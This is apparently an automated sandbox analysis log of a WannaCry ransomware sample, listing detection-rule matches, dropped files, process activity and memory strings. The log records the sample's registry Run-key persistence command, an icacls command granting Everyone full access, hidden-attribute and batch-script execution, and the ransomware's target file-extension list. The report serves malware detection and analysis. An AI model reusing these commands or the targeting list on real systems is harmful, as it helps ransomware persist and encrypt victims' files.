                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Detected VMProtect packer
                  Source: n397UdH3b5.exeStatic PE information: .vmp0 and .vmp1 section names
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess Stats: CPU usage > 6%
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeMemory allocated: 77F30000 page execute and read and writeJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeMemory allocated: 777C0000 page execute and read and writeJump to behavior
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_00411CF019_2_00411CF0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_0040B0C019_2_0040B0C0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_0040A15019_2_0040A150
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_0040A9D019_2_0040A9D0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_0041018019_2_00410180
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_0040B3C019_2_0040B3C0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_0040FBC019_2_0040FBC0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_0041046019_2_00410460
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_0040ADC019_2_0040ADC0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_0040A61019_2_0040A610
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_0040DF3019_2_0040DF30
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_00406F8019_2_00406F80
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_0040FF9019_2_0040FF90
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_0040B0C022_2_0040B0C0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_0040A15022_2_0040A150
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_0040A9D022_2_0040A9D0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_0041018022_2_00410180
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_0040B3C022_2_0040B3C0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_0040FBC022_2_0040FBC0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_0041046022_2_00410460
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_00411CF022_2_00411CF0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_0040ADC022_2_0040ADC0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_0040A61022_2_0040A610
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_0040DF3022_2_0040DF30
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_00406F8022_2_00406F80
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_0040FF9022_2_0040FF90
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00DDF2E023_2_00DDF2E0
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00E025E623_2_00E025E6
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00E176A023_2_00E176A0
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00CDA7AF23_2_00CDA7AF
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00D4186A23_2_00D4186A
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00DF480423_2_00DF4804
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00DF298B23_2_00DF298B
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00DF595623_2_00DF5956
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00DF6AC523_2_00DF6AC5
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00DFEBC723_2_00DFEBC7
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00E06BD723_2_00E06BD7
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00D54CF023_2_00D54CF0
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00E07D0C23_2_00E07D0C
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00DF6F2823_2_00DF6F28
                  Source: Joe Sandbox ViewDropped File: C:\@WanaDecryptor@.exe B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                  Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\@WanaDecryptor@.exe B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: String function: 00D36562 appears 43 times
                  Source: taskdl.exe.0.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
                  Source: libevent_extra-2-0-5.dll.19.drStatic PE information: Number of sections : 17 > 10
                  Source: libssp-0.dll.19.drStatic PE information: Number of sections : 17 > 10
                  Source: libeay32.dll.19.drStatic PE information: Number of sections : 18 > 10
                  Source: libevent_core-2-0-5.dll.19.drStatic PE information: Number of sections : 17 > 10
                  Source: libgcc_s_sjlj-1.dll.19.drStatic PE information: Number of sections : 17 > 10
                  Source: libevent-2-0-5.dll.19.drStatic PE information: Number of sections : 17 > 10
                  Source: ssleay32.dll.19.drStatic PE information: Number of sections : 18 > 10
                  Source: n397UdH3b5.exe, 00000000.00000003.1956100077.0000000000DCB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs n397UdH3b5.exe
                  Source: n397UdH3b5.exe, 00000000.00000000.1534094651.0000000000C3A000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameExcel.exeL vs n397UdH3b5.exe
                  Source: n397UdH3b5.exe, 00000000.00000003.1544374771.0000000002BF3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs n397UdH3b5.exe
                  Source: n397UdH3b5.exe, 00000000.00000003.1554072574.0000000000D9E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs n397UdH3b5.exe
                  Source: n397UdH3b5.exe, 00000000.00000003.2573945080.0000000000DD0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs n397UdH3b5.exe
                  Source: n397UdH3b5.exe, 00000000.00000003.1544297199.0000000002F68000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs n397UdH3b5.exe
                  Source: n397UdH3b5.exe, 00000000.00000003.1561845563.0000000000DA2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs n397UdH3b5.exe
                  Source: n397UdH3b5.exe, 00000000.00000003.1565823592.0000000000D9F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs n397UdH3b5.exe
                  Source: n397UdH3b5.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "vfwrglgamdagtoq456" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f
                  Source: 37.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: 19.2.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: 19.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: 40.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: 22.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: 40.2.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: 31.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: 37.2.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: 22.2.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: 31.2.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\251361736365593.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\251361736365593.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\251361736365593.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\251361736365593.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\251361736365593.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\251361736365593.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\251361736365593.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: n397UdH3b5.exe, 00000000.00000003.1956100077.0000000000DCB000.00000004.00000020.00020000.00000000.sdmp, n397UdH3b5.exe, 00000000.00000003.1554072574.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp, n397UdH3b5.exe, 00000000.00000003.2573945080.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp, n397UdH3b5.exe, 00000000.00000003.1561845563.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, n397UdH3b5.exe, 00000000.00000003.1565823592.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 00000013.00000000.2575420762.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000016.00000000.2576398227.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 0000001F.00000000.2752921925.000000000041F000.00000008.00000001.01000000.00000008.sdmpBinary or memory string: A.der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3.wav.swf.fla.wmv.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif.png.bmp.jpg.jpeg.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti.sxi.602.hwp.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.txt.vsdx.vsd.edb.eml.msg.ost.pst.potm.potx.ppam.ppsx.ppsm.pps.pot.pptm.pptx.ppt.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.xlsx.xls.dotx.dotm.dot.docm.docb.docx.docConnecting to server...s.wnry%08X.eky%08X.res00000000.resrb%08X.dky%08X.pkyConnectedSent requestSucceedReceived responseCongratulations! Your payment has been checked!
                  Source: classification engineClassification label: mal100.rans.evad.winEXE@44/904@0/7
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_00403A20 GetLogicalDrives,GetDriveTypeW,GetDriveTypeW,GetDiskFreeSpaceExW,19_2_00403A20
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\Desktop\b.wnryJump to behavior
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2552:304:WilStaging_02
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1772:120:WilError_03
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1824:120:WilError_03
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2208:304:WilStaging_02
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3128:120:WilError_03
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2552:120:WilError_03
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4612:304:WilStaging_02
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3128:304:WilStaging_02
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1824:304:WilStaging_02
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeMutant created: \Sessions\1\BaseNamedObjects\MsWinZonesCacheCounterMutexA
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1772:304:WilStaging_02
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeMutant created: \Sessions\1\BaseNamedObjects\Global\MsWinZonesCacheCounterMutexA0
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2208:120:WilError_03
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4612:120:WilError_03
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Adobe\Temp\~SD92D9.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 251361736365593.bat
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cscript.exe cscript.exe //nologo m.vbs
                  Source: C:\Windows\SysWOW64\cscript.exeFile read: C:\Users\desktop.iniJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                  Source: n397UdH3b5.exeReversingLabs: Detection: 100%
                  Source: C:\Users\user\Desktop\taskse.exeEvasive API call chain: __getmainargs,DecisionNodes,exit
                  Source: C:\Users\user\Desktop\taskdl.exeEvasive API call chain: __getmainargs,DecisionNodes,exitgraph_6-217
                  Source: unknownProcess created: C:\Users\user\Desktop\n397UdH3b5.exe "C:\Users\user\Desktop\n397UdH3b5.exe"
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess created: C:\Windows\SysWOW64\attrib.exe attrib +h .
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess created: C:\Windows\SysWOW64\icacls.exe icacls . /grant Everyone:F /T /C /Q
                  Source: C:\Windows\SysWOW64\attrib.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Windows\SysWOW64\icacls.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 251361736365593.bat
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
